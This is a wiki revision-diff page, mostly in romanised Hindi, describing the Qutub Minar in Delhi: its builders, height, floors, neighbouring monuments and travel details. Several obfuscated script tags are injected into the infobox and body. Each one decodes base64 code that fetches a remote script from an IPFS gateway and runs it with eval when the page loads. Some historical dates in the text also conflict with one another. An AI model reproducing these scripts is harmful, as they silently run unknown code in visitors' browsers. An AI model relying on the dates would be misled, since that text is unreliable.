Difference between revisions of "क़ुतुब मीनार"
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) |
गोविन्द राम (talk | contribs) |
||
Line 39: | Line 39: | ||
|अद्यतन={{अद्यतन|16:09, 21 अक्टूबर 2011 (IST)}} | |अद्यतन={{अद्यतन|16:09, 21 अक्टूबर 2011 (IST)}} | ||
}} | }} | ||
− | + | [[लालकोट]] स्मारक के ऊपर बहुत ऊँची यह मीनार [[दिल्ली]] के सर्वाधिक प्रसिद्ध स्थलों में से एक है। [[कुतुबुद्दीन ऐबक]] ने 1199 में क़ुतुब मीनार का निर्माण शुरू करवाया था और उसके दामाद एवं उत्तराधिकारी [[इल्तुतमिश|शमशुद्दीन इल्तुतमिश]] ने 1368 में इसे पूरा कराया। | |
− | |||
− | |||
*इस इमारत का नाम ख़्वाजा क़ुतबुद्दीन बख्तियार काकी के नाम पर रखा गया। | *इस इमारत का नाम ख़्वाजा क़ुतबुद्दीन बख्तियार काकी के नाम पर रखा गया। | ||
*ऐसा माना जाता है कि क़ुतुब मीनार का प्रयोग पास बनी मस्जिद की मीनार के रूप में होता था और यहाँ से अजान दी जाती थी। | *ऐसा माना जाता है कि क़ुतुब मीनार का प्रयोग पास बनी मस्जिद की मीनार के रूप में होता था और यहाँ से अजान दी जाती थी। |
Revision as of 07:27, 25 October 2011
qutub minar
| |
[[chitr:Qutub-Minar-Delhi.jpg|qutub minar, dilli|200px|center]]
| |
vivaran | is imarat ka nam khvaja qutabuddin bakhtiyar kaki ke nam par rakha gaya. |
kendr shasit pradesh | rashtriy rajadhani kshetr dilli |
zila | nee dilli |
nirmata | kutubuddin aibak |
nirman kal | 1193-1368 |
sthapana | 1193 |
bhaugolik sthiti | uttar- 28.534355; poorv- 77.185248 |
marg sthiti | qutub minar, lala lajapat ray path se 19.5 kimi ki doori par sthit hai. |
kaise pahuanchean | havaee jahaz, rel, bas adi |
havaee adda | iandira gaandhi aantarrashtriy havaee adda |
relave steshan | purani dilli, nee dilli, hazarat nizamuddin |
bas adda | aee. es. bi. ti, saray kale khaan, anand vihar |
yatayat | riksha, taiksi, lokal rel, metro rel, bas |
kya dekhean | lal qila, indiya get, jama masjid, rashtrapati bhavan. |
kahaan thaharean | hotal, dharmashala, atithi grah |
es.ti.di. kod | 011 |
chitr:Map-icon.gif | googal manachitr |
sanbandhit lekh | aisa mana jata hai ki qutub minar ka prayog pas bani masjid ki minar ke roop mean hota tha aur yahaan se ajan di jati thi.
|
adyatan | 16:09, 21 aktoobar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
lalakot smarak ke oopar bahut ooanchi yah minar dilli ke sarvadhik prasiddh sthaloan mean se ek hai. kutubuddin aibak ne 1199 mean qutub minar ka nirman shuroo karavaya tha aur usake damad evan uttaradhikari shamashuddin iltutamish ne 1368 mean ise poora karaya.
- is imarat ka nam khvaja qutabuddin bakhtiyar kaki ke nam par rakha gaya.
- aisa mana jata hai ki qutub minar ka prayog pas bani masjid ki minar ke roop mean hota tha aur yahaan se ajan di jati thi.
- lal aur halke pile patthar se bani is imarat par quran ki ayatean likhi haian.
- mool roop se qutubaminar sat manjil ka tha lekin ab yah paanch manjil ka hi rah gaya hai.
- qutub minar ki kul ooanchaee 72.5 mitar hai aur isamean 379 sidhiyaan haian. samay-samay par isaki marammat bhi huee hai.
- isaki divaroan par jin badashahoan ne isaki marammat karaee unaka ullekh milata hai.
- qutub minar parisar mean aur bhi kee imarate haian. bharat ki pahali kuvvat-ul-islam masjid, alee daravaza aur iltutamish ka maqabara bhi yahaan bana hua hai.
- masjid ke pas hi chauthi shatabdi mean bana lauhastanbh bhi hai jo paryatakoan ko khoob akarshit karata hai.
- paanch manzila is imarat ki tin manzilean lal pattharoan se evan do manzilean sangamaramar evan lal patthar se nirmit haian. pratyek manzil ke age balak aauni hone se bhali-bhaanti dikhaee deti hai.
- minar mean devanagari bhasha ke shilalekh ke anusar yah minar 1326 mean kshatigrast ho gee thi aur ise muhammad bin tugalaq ne thik karavaya tha.
- isake bad mean 1368 mean firozashah tugalaq ne isaki oopari manzil ko hatakar isamean do manzilean aur ju dava dian. isake pas sultan iltutamish, alauddin khilazi, balaban v akabar ki dhay maan ke putr adham khaan ke maqabare sthit haian.
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>